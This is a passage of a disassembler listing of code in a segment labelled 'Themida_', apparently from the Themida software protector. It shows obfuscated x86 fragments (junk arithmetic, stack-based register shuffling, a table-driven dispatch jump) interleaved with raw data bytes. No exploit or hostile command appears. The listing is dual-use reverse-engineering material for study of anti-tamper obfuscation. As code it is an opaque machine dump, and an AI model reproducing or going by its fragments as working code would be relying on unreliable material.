		dd 5F65777Eh, 0FFC204E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568861:				; CODE XREF: Themida_:0057039Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_56AF01
; ---------------------------------------------------------------------------


loc_568875:				; CODE XREF: Themida_:0055E366j
		pop	ebx
		shr	ebx, 6
		jmp	loc_567584
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0F84231Eh, 0FF818FE9h, 60B951FFh, 81418663h,	53371AC1h
		dd 9FE98112h, 8913F954h, 240C8BCFh, 4C481h, 0F8010000h
		dd 2DF0295Fh, 3FE045DBh, 455F685Eh, 1C890000h, 31696824h
		dd 6BE90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5688C3:				; CODE XREF: Themida_:0055CEE8j
		pop	esp
		mov	[esp], ecx
		mov	ch, 0B8h
		jmp	loc_56561A
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 83243C8Bh, 0C7E904C4h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5688DB:				; CODE XREF: Themida_:0056B005j
		add	ebp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_56AE9E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF45C5h, 243C8B58h, 4C481h, 14330000h, 8CAAE924h
		dd 8B66FFFFh, 7E682404h, 89000048h, 0F1682414h,	6800004Fh
		dd 7C53h, 0E9242489h, 8A33h, 89242C89h,	0AD7CE9E5h, 0F181FFFFh
		dd 4BCF6A9Bh, 0C159CA89h, 514203E2h, 837E0BB9h,	0D3F8E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568952:				; CODE XREF: Themida_:005659D8j
		push	edi
		mov	edi, 6162736Dh
		sub	edi, 1E7265CAh
		push	ebx
		mov	ebx, 11140A0Bh
		xor	ebx, 7327FFAEh
		xor	edi, ebx
		jmp	loc_568E81
; ---------------------------------------------------------------------------


loc_568971:				; CODE XREF: Themida_:005636F1j
		push	ebp
		mov	ebp, 1A952759h
		sub	ebp, 336174F8h
		jmp	loc_5708F9
; ---------------------------------------------------------------------------


loc_568982:				; CODE XREF: Themida_:0055F585j
		mov	edx, eax
		jmp	loc_568FDF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFB724E9h, 59CB01FFh, 555BE956h, 0C4810000h, 2, 34E9D028h
		dd 59FFFF9Ah, 4616E9h, 4C48300h, 0BD665566h, 2966579Fh
		dd 6606246Ch, 81242C8Bh, 2C4h, 44296600h, 81660424h, 9F042444h
		dd 48B6657h, 2E46E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5689DA:				; CODE XREF: Themida_:00567C06j
		sub	ebx, 0AB096Ch
		jmp	loc_570C47
; ---------------------------------------------------------------------------
		dd offset dword_5A7268
		align 2
		dw 1489h
		dd 44D3E924h, 0E947FFFFh, 7539h
; ---------------------------------------------------------------------------


loc_5689F8:				; CODE XREF: Themida_:00560788j
		add	esp, 4
		mov	al, bh
		jmp	loc_57200C
; ---------------------------------------------------------------------------


loc_568A05:				; CODE XREF: Themida_:00571A0Fj
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55E4E6
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 0FF935FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568A31:				; CODE XREF: Themida_:00566FEAj
		xor	[esp], edi
		jmp	loc_57110F
; ---------------------------------------------------------------------------


loc_568A39:				; CODE XREF: Themida_:00566940j
		xchg	edx, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		push	0
		sub	[esp], eax
		pop	eax
		xchg	eax, ecx
		shl	ecx, 4
		jmp	loc_55DDF6
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 685F5457h, 7EFCh,	0B8240489h, 2B53326Ch
		dd 0E025D0F7h, 3520520Dh, 0D234BF0h, 3D18A835h,	5EDC3541h
		dd 9E684C1Eh, 8900006Fh, 28BB241Ch, 0F7185D1Bh,	0EEB81D3h
		dd 1AD0F77h, 0DD49E9DFh, 8166FFFFh, 5251C7C3h, 5AFCBA66h
		dd 66D2F766h, 4149F281h, 81664A66h, 664FF4CAh, 4859CA81h
		dd 0DEEA8166h, 0D30166BEh, 571DE9h, 2DA0B800h, 2D4847DEh
		dd 47DE2D9Dh, 3358C601h, 34312434h, 0E687E924h,	0E789FFFFh
		dd 4C781h, 0EF830000h, 243C3304h, 33243C31h, 895C243Ch
		dd 0E9572414h, 0FFFFBEDFh, 4C181h, 0C1810000h, 4, 63C7E951h
		dd 0F101FFFFh, 4C1815Eh, 87000000h, 248B240Ch, 0EC835224h
		dd 1C896602h, 88EEB324h, 1C8B66DAh, 267DE924h, 85B90000h
		dd 49704E28h, 55D8BF57h, 0F9096B15h, 81E1D15Fh,	1C7119C9h
		dd 0E9D1F711h, 7D55h, 3162BCB9h, 0D0F18107h, 812C4D03h
		dd 7C6168E9h, 59CE892Bh, 387BE9h, 0E9D70100h, 0FFFF5409h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56E3D2
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0BE92434h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568B93:				; CODE XREF: Themida_:00564CE8j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_56634D
; ---------------------------------------------------------------------------
		dd 24048B66h, 644668h, 1DC6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568BAE:				; CODE XREF: Themida_:0057179Aj
		shl	ecx, 8
		jmp	loc_560545
; ---------------------------------------------------------------------------
		dw 0DA89h
		dd 1465E95Bh, 0E5810000h, 79CE065Fh, 4E5C145h, 0DB29C581h
		dd 0EB01DEBEh, 4EC835Dh, 81241C89h, 3A992434h, 5359796Fh
		dd 0EA3FB9BBh, 0E0C3817Bh, 0E9FD84FAh, 4DA1h, 4F59CE81h
		dd 0E9527FE5h, 0FFFF7663h, 8108EFC1h, 9C674CF7h, 25EF8159h
		dd 0E95B4074h, 0FFFF6E3Dh, 592434FFh, 0FF4512E9h, 80C300FFh
		dd 0E1E9B5EBh, 68FFFF90h, 44A37C5Fh, 96E7815Fh,	816D6456h
		dd 315298C7h, 11CF8140h, 81547634h, 857F30F7h, 56F78131h
		dd 0E9325E44h, 3A14h, 0FF2434FFh, 0FDE92434h, 80FFFF65h
		dd 0B65227F5h, 0E9CEFE8Ch, 9361h, 0A810E95Dh, 0C481FFFFh
		dd 2, 0F7B15150h, 0FFE2D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568C79:				; CODE XREF: Themida_:00565329j
		push	eax
		jmp	loc_5673EF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 61BF5700h, 0E965777Eh,	1A85h, 4C481h, 34FF0000h
		dd 78F4E924h, 0C301FFFFh, 11AA6858h, 0FAE90000h, 81000002h
		dd 4C4h, 715F6800h, 14890000h, 24356824h, 15A094Dh, 0E9042454h
		dd 619Ah
; ---------------------------------------------------------------------------


loc_568CC8:				; CODE XREF: Themida_:0056D64Dj
		xchg	ecx, [esp]
		jmp	loc_564B32
; ---------------------------------------------------------------------------
		dd 0E981E901h, 4AB913A9h, 4EC81h, 1C890000h, 0BFA3E924h
		dd 0EB81FFFFh, 4DDA1E60h, 0C381C301h, 4DDA1E60h, 40E95758h
		dd 88FFFF56h, 0C5285AF0h, 5E60E9h, 28F6400h, 0FF41B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568D0D:				; CODE XREF: Themida_:00566C6Fj
		push	76FEh
		mov	[esp], esi
		mov	esi, 2AD55BC4h
		sub	ebx, 3267268Eh
		sub	ebx, esi
		add	ebx, 3267268Eh
		pop	esi
		jmp	loc_561917
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4832404h, 8BF83002h, 8950241Ch, 405E0h, 0B9510000h
		dd 4, 8759C801h, 43E92404h, 89FFFFA0h, 67E959CBh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568D5B:				; CODE XREF: Themida_:00562A4Fj
		push	921h
		mov	[esp], edx
		push	0A9Dh
		mov	[esp], esi
		mov	esi, 6F966DAAh
		push	ebp
		jmp	loc_56DDF3
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 89C58924h, 56585DEFh, 547D94BEh, 814E4656h, 0C86FB0EEh
		dd 0E9D6F701h, 71C8h, 242968h, 242C8900h, 7B3AE9h, 88E98100h
		dd 5843C257h, 7EB1C581h, 0DE9645Dh, 87FFFF92h, 0A8E92404h
		dd 45000051h, 0FFB9D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568DC1:				; CODE XREF: Themida_:00567BF5j
		add	esp, 4
		shr	edi, 2
		add	edi, 0C9BD93FCh
		jmp	loc_564ACA
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 2F06BD55h, 0E92971B2h,	4EC835Dh
		dd 0E9240489h, 1432h
; ---------------------------------------------------------------------------


loc_568DF0:				; CODE XREF: Themida_:0055E663j
		add	edi, ebp
		sub	edi, 34E47F4Dh
		pop	ebp
		jmp	loc_5641DF
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4BD55h, 0E0E90000h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E0F:				; CODE XREF: Themida_:005719CBj
		pop	esi
		add	eax, ecx
		sub	eax, 3EC09C2h
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5678D4
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	379Bh
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	490Ch
		mov	[esp], edx
		jmp	loc_56820C
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 81C80F5Ch, 4ECh, 24148900h, 57565A54h, 8735A7BFh
		dd 5FFE8918h, 7943BF57h, 0FE3117B3h, 6EB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_568E81:				; CODE XREF: Themida_:0056896Cj
		pop	ebx
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_564EE2
; ---------------------------------------------------------------------------
		dd 0E5C1D5F7h, 4CED8107h, 817C2708h, 4068B0EDh,	5DE829E1h
		dd 5220E9h, 29665A00h, 665B66D8h, 6DE9D801h, 51FFFFEEh
		dd 8F02F4B9h, 59CA0100h, 0EA81D2F7h, 0E01CE230h, 0D25B951h
		dd 0C8014792h, 0FFB503E9h, 4BB53FFh, 1000000h, 8B04245Ch
		dd 20E9241Ch
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EEF:				; CODE XREF: Themida_:00565217j
		sub	esp, 4
		mov	[esp], edx
		push	43377C90h
		pop	edx
		push	ebx
		mov	ebx, 0E0704E0h
		push	eax
		mov	eax, 7C6303Ch
		push	edi
		mov	edi, 70A370B5h
		push	eax
		mov	eax, 0F499434Dh
		sub	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 334676DAh
		dec	esi
		push	ebp
		mov	ebp, 635BFA0Fh
		sub	esi, ebp
		pop	ebp
		xor	eax, esi
		pop	esi
		or	ebx, eax
		pop	eax
		jmp	loc_567BFA
; ---------------------------------------------------------------------------
		dd 1FEB8166h, 0E9555231h, 7101h
; ---------------------------------------------------------------------------


loc_568F48:				; CODE XREF: Themida_:0056A5C4j
		sub	ebx, 45F131AEh
		jmp	loc_56C2A1
; ---------------------------------------------------------------------------


loc_568F53:				; CODE XREF: Themida_:0055FE7Dj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	556Bh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5600FC
; ---------------------------------------------------------------------------
aYutS		db 'YUT]é',0
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568F78:				; CODE XREF: Themida_:0056B466j
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, ax
		jmp	loc_562440
; ---------------------------------------------------------------------------
		dd offset byte_576855
aT_sjw		db 'T.éjW',0
		db 0
; ---------------------------------------------------------------------------


loc_568F8F:				; CODE XREF: Themida_:0056B79Aj
		xor	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], eax
		sub	esp, 4
		jmp	loc_562363
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 5652E789h, 391C6CBEh, 8EEC101h, 72C5CE81h, 5EE9133Ch
		dd 89000069h, 405E0h, 0C0830000h, 24048704h, 5A34E9h, 4C18100h
		dd 87000000h, 0CEE9240Ch
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568FDF:				; CODE XREF: Themida_:00568984j
		mov	esi, edx
		pop	edx
		pop	eax
		add	edx, 44733AECh
		add	edx, esi
		sub	edx, 44733AECh
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_56D453
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 24048F58h,	2404295Ch, 3EB7E99Ch, 0E281FFFFh
		dd 553E5B06h, 4E06EA81h, 0B9E90128h, 0AD000054h, 4446E9h
		dd 56E18900h, 482050BEh, 81DEF74Eh, 375C2DE6h, 0B8EE8170h
		dd 465B4342h, 1965EE81h, 0F101D4F4h, 4E9835Eh, 31240C33h
		dd 0C33240Ch, 24895C24h, 24048324h, 94C0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56905E:				; CODE XREF: Themida_:0056238Aj
		xor	edi, 3D466D6Dh
		shr	edi, 8
		add	edi, 0FF5E71F9h
		jmp	loc_56F35D
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 3F8B3F24h, 8104E7C1h, 0DD5FC4C7h, 4336E9AFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569086:				; CODE XREF: Themida_:00571F7Dj
		pop	ecx
		sub	eax, ecx
		jmp	loc_55F369
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BE243489h, 5005CD1h, 0FFDDC7E9h,	2E5C1FFh, 7BE4C581h
		dd 0E8299BF7h, 0D971E95Dh, 2C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5640CD
; ---------------------------------------------------------------------------
		dw 6857h
		dd 6805131Eh, 63CF815Fh, 555AA845h, 1C38FFBDh, 0E9EF3142h
		dd 0FFFFA2FAh
; ---------------------------------------------------------------------------


loc_5690F0:				; CODE XREF: Themida_:005715D3j
		pop	ebp
		jmp	loc_569E7D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2D58B951h, 0E9811A1Dh, 0C1B2C27Eh, 559C801h, 5DCC64FCh
		dd 0FC2DD829h, 535DCC64h, 0FF7185E9h, 4B850FFh,	29000000h
		dd 66E958C7h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56912B:				; CODE XREF: Themida_:00571823j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 8Fh
		dd 3D8BE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56913A:				; CODE XREF: Themida_:00564484j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 48E528FCh
		jmp	loc_56CBEB
; ---------------------------------------------------------------------------


loc_569157:				; CODE XREF: Themida_:0055EE9Bj
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_55E65D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4C7BF205h, 0E9D82944h, 805Dh, 0D2C78058h, 88E0C780h
		dd 241C8BFCh, 94A1E9h, 0C5815D00h, 4, 4C581h, 21E90000h
		dd 53FFFFB7h, 0DC3A81BBh, 8BCB8163h, 812DF44Fh,	5587F0C3h
		dd 5BD929CEh, 6D5EE9h, 70C68100h, 89724F5Fh, 6BE95EF7h
		dd 6600006Fh, 5106C781h, 66F72966h, 5106EF81h, 66FE8966h
		dd 83243C8Bh, 0A7E902C4h, 50FFFF63h, 6AE9E089h,	81000043h
		dd 0C72DA4EAh, 50FA0122h, 0C72DA4B8h, 58C20122h, 3018C281h
		dd 3C8B3DA6h, 88FCE924h, 0F5800000h, 1BEA80ACh,	0C280EA00h
		dd 0EA80591Bh, 51EA007Fh, 0E97FB753h, 0FFFF6B8Ah
; ---------------------------------------------------------------------------


loc_569224:				; CODE XREF: Themida_:0056BE62j
		push	edi
		push	695556F8h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	edi, 7EA027DDh
		jmp	loc_56BC5A
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCEh, 0FFA7D3E9h, 0E930FFFFh, 0FFFF3C75h, 4C4815Fh
		dd 87000000h, 248B2414h, 29F56824h, 14890000h, 93DBA24h
		dd 4A427708h, 0EEE9D2F7h, 89FFFFADh, 8852241Ch,	5AF388C6h
		dd 0FF5273E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569281:				; CODE XREF: Themida_:005646A8j
		inc	eax
		jmp	loc_569891
; ---------------------------------------------------------------------------
		db 54h
		dd 4EC835Eh, 0E9242C89h, 0FFFFE527h, 5A2434FFh,	6A6A68h
		dd 240C8900h, 0D1668h, 23BC6800h, 24890000h, 24048324h
		dd 24048F04h, 5098E9h
		db 0
; ---------------------------------------------------------------------------


loc_5692B9:				; CODE XREF: Themida_:0056B134j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 2C8BEF89h, 4C48324h,	154DE9h, 24148900h, 7EEFE9h, 24143100h
		dd 0FFEB39E9h, 5EF731FFh, 70C1BF57h, 0E5054EE0h, 2908677Ah
		dd 7AE52DF8h, 0BCE90867h, 83FFFF5Dh, 98E904C4h,	58FFFFD9h
		dd 2F3FE9h, 99E95000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56930F:				; CODE XREF: Themida_:00564D77j
		add	esp, 4
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56B4EE
; ---------------------------------------------------------------------------


loc_56931F:				; CODE XREF: Themida_:0056E476j
		push	edi
		mov	edi, 12E86265h
		add	edi, 331D7D7Ch
		xor	edi, 439E020Fh
		add	edi, 44B84939h
		or	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ebx, 3
		jmp	loc_55D9B4
; ---------------------------------------------------------------------------


loc_56934A:				; CODE XREF: Themida_:00560CE8j
		mov	[esp], ebp
		mov	ebp, 3AF5A58h
		add	ebp, 74E3D8B1h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_567522
; ---------------------------------------------------------------------------


loc_569368:				; CODE XREF: Themida_:0056A95Fj
		mov	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_56219F
; ---------------------------------------------------------------------------


loc_569372:				; CODE XREF: Themida_:0056CA32j
		push	ebp
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56BB7A
; ---------------------------------------------------------------------------


loc_569392:				; CODE XREF: Themida_:0056781Dj
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_567763
; ---------------------------------------------------------------------------


loc_56939F:				; CODE XREF: Themida_:0056CB79j
		pop	edx
		jmp	loc_56060D
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 58E90000h, 56FFFFB6h, 0FF68A4E9h, 0E18951FFh
		dd 0FFCBCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5693C1:				; CODE XREF: Themida_:0056EB24j
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_567D58
; ---------------------------------------------------------------------------
		dd 3F58BF57h, 0C7814306h, 500124D3h, 9BD9C781h,	3FE96CF8h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5693F3:				; CODE XREF: Themida_:0056CA05j
		push	esi
		mov	esi, 3B2F1798h
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_56707E
; ---------------------------------------------------------------------------


loc_569403:				; CODE XREF: Themida_:0056062Ej
		pop	ebp
		shr	ecx, 7
		push	1387h
		mov	[esp], esi
		push	3787h
		mov	[esp], ebx
		pop	esi
		push	4012h
		mov	[esp], esi
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_56A02A
; ---------------------------------------------------------------------------


loc_56942A:				; CODE XREF: Themida_:00563C25j
		pop	ebx
		jmp	loc_562D90
; ---------------------------------------------------------------------------
		dd 1B66BE56h, 6A6805AEh, 89000059h, 0DEB82404h,	296D0A23h
		dd 0F32958C3h, 23DEC381h, 348B6D0Ah, 0AD43E924h, 0CD29FFFFh
		dd 3718B850h, 0F00D235Eh, 0D13654Eh, 748901BFh,	0FFB0F9E9h
		dd 0BEEE81FFh, 0FF05AD57h, 2C8B2434h, 4C48124h,	56000000h
		dd 7807E9h, 64E18100h, 0E94A8103h, 0FFFF67FEh, 4461BE56h
		dd 0E68165A6h, 1EF14FAAh, 0C105EEC1h, 0E6D105EEh, 4773BD55h
		dd 0C5813435h, 57947CFFh, 0E945E5D1h, 155Ch
; ---------------------------------------------------------------------------


loc_5694B8:				; CODE XREF: Themida_:00566915j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, edx
		jmp	loc_55DBD7
; ---------------------------------------------------------------------------


loc_5694CB:				; CODE XREF: Themida_:00564B59j
		push	ecx
		mov	ecx, 7919745Dh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_567D24
; ---------------------------------------------------------------------------
		db 5, 47h, 1Fh
		dd 32E97FCCh, 8700002Ch, 0C15C243Ch, 0CB8102E3h, 1C54144Bh
		dd 13C368h, 242C8900h, 0CB0A7CBDh, 15E5815Fh, 81069C51h
		dd 0C4068BEDh, 1ED816Fh, 53000000h, 6A5311BBh, 0F3814B17h
		dd 1C0E714Eh, 685BDD01h, 5B1Fh,	0BF243C89h, 2FAA6E00h
		dd 36AEEF81h, 47E900EDh, 0C1FFFFF3h, 0C58304E5h, 0C4E58101h
		dd 814DC66Bh, 781F43EDh, 0D654E9A4h, 535CFFFFh,	4B692ABBh
		dd 0C6B95152h, 0C1134A5Eh, 0C18103E9h, 308A198Bh, 0EEE8E981h
		dd 22E9FA7Fh, 0ADFFFFF4h, 0E951D831h, 0FFFFAD17h, 324668h
		dd 243C8900h, 0FFA93DE9h, 241487FFh, 8924248Bh,	0D4882404h
		dd 88E58851h, 48B59EFh,	0E2895224h, 8473E9h, 2414F700h
		dd 31D5315Ah, 57D531EAh, 562DE6BFh, 4E7C100h, 6C3BCF81h
		dd 0F7810C5Bh, 28AF3C8Fh, 0FF7E4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5695C5:				; CODE XREF: Themida_:0056F58Cj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562B4E
; ---------------------------------------------------------------------------
		dw 5429h
		dd 44810424h, 52560424h, 0B2E96D80h, 2D00000Fh,	6CBE1B57h
		dd 0AC34E95Bh, 0D029FFFFh, 2434FF5Ah, 4C4835Fh,	0D0685357h
		dd 0E94F7250h, 0FFFFE86Fh, 83242489h, 0E9042404h, 9023h
		dd 550F582Dh, 5175682Ch, 34890000h, 5402E924h, 74FFFFFFh
		dd 8F5E0424h, 2BE92404h, 2D000014h, 1D796F3Ch, 4EC8151h
		dd 89000000h, 0B9512434h, 60841010h, 8959CE89h,	573DE9F1h
		dd 0C281FFFFh, 4, 3304C283h, 14312414h,	4DBFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56967E:				; CODE XREF: Themida_:00570E27j
		pop	edx
		jmp	loc_55D595
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0E9EE2100h,	2354h, 240C8B66h, 8904EC83h
		dd 86E9241Ch, 0FF000057h, 0E99C2404h, 0FFFF3819h, 0F703EBC1h
		dd 0E71E9D3h, 305A0000h, 0F670E9E7h, 2C89FFFFh,	53E58924h
		dd 132271BBh, 0CB81435Ah, 16424CBAh, 0EBC1DBF7h, 10BE5605h
		dd 0E9674E3Fh, 0FFFF6810h, 3B6068h, 240C8900h, 49E068h
		dd 241C8900h, 0FF9238E9h, 5BFE28FFh, 1BF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5696FD:				; CODE XREF: Themida_:00562010j
		mov	eax, 17993B39h
		mov	edx, 2C901CB3h
		add	edx, eax
		jmp	loc_55D860
; ---------------------------------------------------------------------------
		dw 0EB00h
		dd 0E937EB80h, 0FFFF381Dh, 4EC815Fh, 89000000h,	0F1E92434h
		dd 66FFFF40h, 0E924048Bh, 2603h
; ---------------------------------------------------------------------------


loc_569730:				; CODE XREF: Themida_:0056111Dj
		pop	ebp
		jmp	loc_56E295
; ---------------------------------------------------------------------------
		dw 0C147h
		dd 0F74F05EFh, 685551D7h, 496D7051h, 9895E95Dh,	74FFFFFFh
		dd 63E90424h, 53FFFFC0h, 27A1FBBh, 4E3C178h, 0F743D3F7h
		dd 7336E9D3h, 0F680FFFFh, 8BF78809h, 0C4812414h, 4, 0C0E5B450h
		dd 0D4F608E4h, 0E96AF480h, 0FFFFC175h, 8324048Bh, 0FB0104C4h
		dd 0FFD683E9h, 240487FFh, 8538E95Ch, 0C4810000h, 4, 8324148Bh
		dd 470904C4h, 9CB7E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5697AE:				; CODE XREF: Themida_:0056D3C3j
		pop	edx
		pop	ebp
		add	ebx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5626F2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 4C281h, 0C0E90000h, 50000055h, 0C8E98EB0h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5697FB:				; CODE XREF: Themida_:0055D310j
		mov	ebx, 17120DB0h
		sub	ebx, 66013F0Eh
		push	ecx
		mov	ecx, 8585499h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5708B1
; ---------------------------------------------------------------------------
		dd 0E3685A54h, 89000013h, 4B82404h, 0E9000000h,	38F2h
		dd 0B9E9CA29h, 50000049h, 25167AB8h, 0A5B9511Ch, 21075A6Ch
		dd 0AE959C8h, 29000015h, 5E082474h, 4245401h, 4244481h
		dd 2571468h, 24048F5Ah,	4240481h, 0E9000000h, 6BB4h, 77E9D301h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56986B:				; CODE XREF: Themida_:00560219j
		add	esp, 4
		sub	ebp, 161158C2h
		jmp	loc_55ED3F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 80C0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569882:				; CODE XREF: Themida_:0056E3E5j
		push	ebp
		mov	ebp, 197F09DBh
		sub	[esp+4], ebp
		jmp	loc_56BFBB
; ---------------------------------------------------------------------------


loc_569891:				; CODE XREF: Themida_:00569282j
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, 11AA1954h
		add	eax, edi
		pop	edi
		add	eax, 0F650F7A0h
		sub	edi, 6BB4511Fh
		add	edi, eax
		push	ecx
		mov	ecx, 698E32C5h
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		xor	ecx, 0FDC59C22h
		add	edi, 3E5E0B95h
		add	edi, ecx
		sub	edi, 3E5E0B95h
		mov	ecx, [esp]
		jmp	loc_55EA57
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0FF4981E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5698E1:				; CODE XREF: Themida_:00570B43j
		pop	edi
		add	eax, edi
		push	edx
		jmp	loc_5642E6
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 0E95C2404h, 3893h, 0E981D9F7h, 0A0487CA5h
		dd 8159CD89h, 9E2956E5h, 0F7DD8722h, 4DDD87D3h,	0FFED814Dh
		dd 53FFFFFFh, 0FFB2E1E9h, 241489FFh, 56E08950h,	0FFC96EE9h
		dd 5BDA88FFh, 0E9240C8Bh, 0FFFFDFE5h, 4240481h,	5A000000h
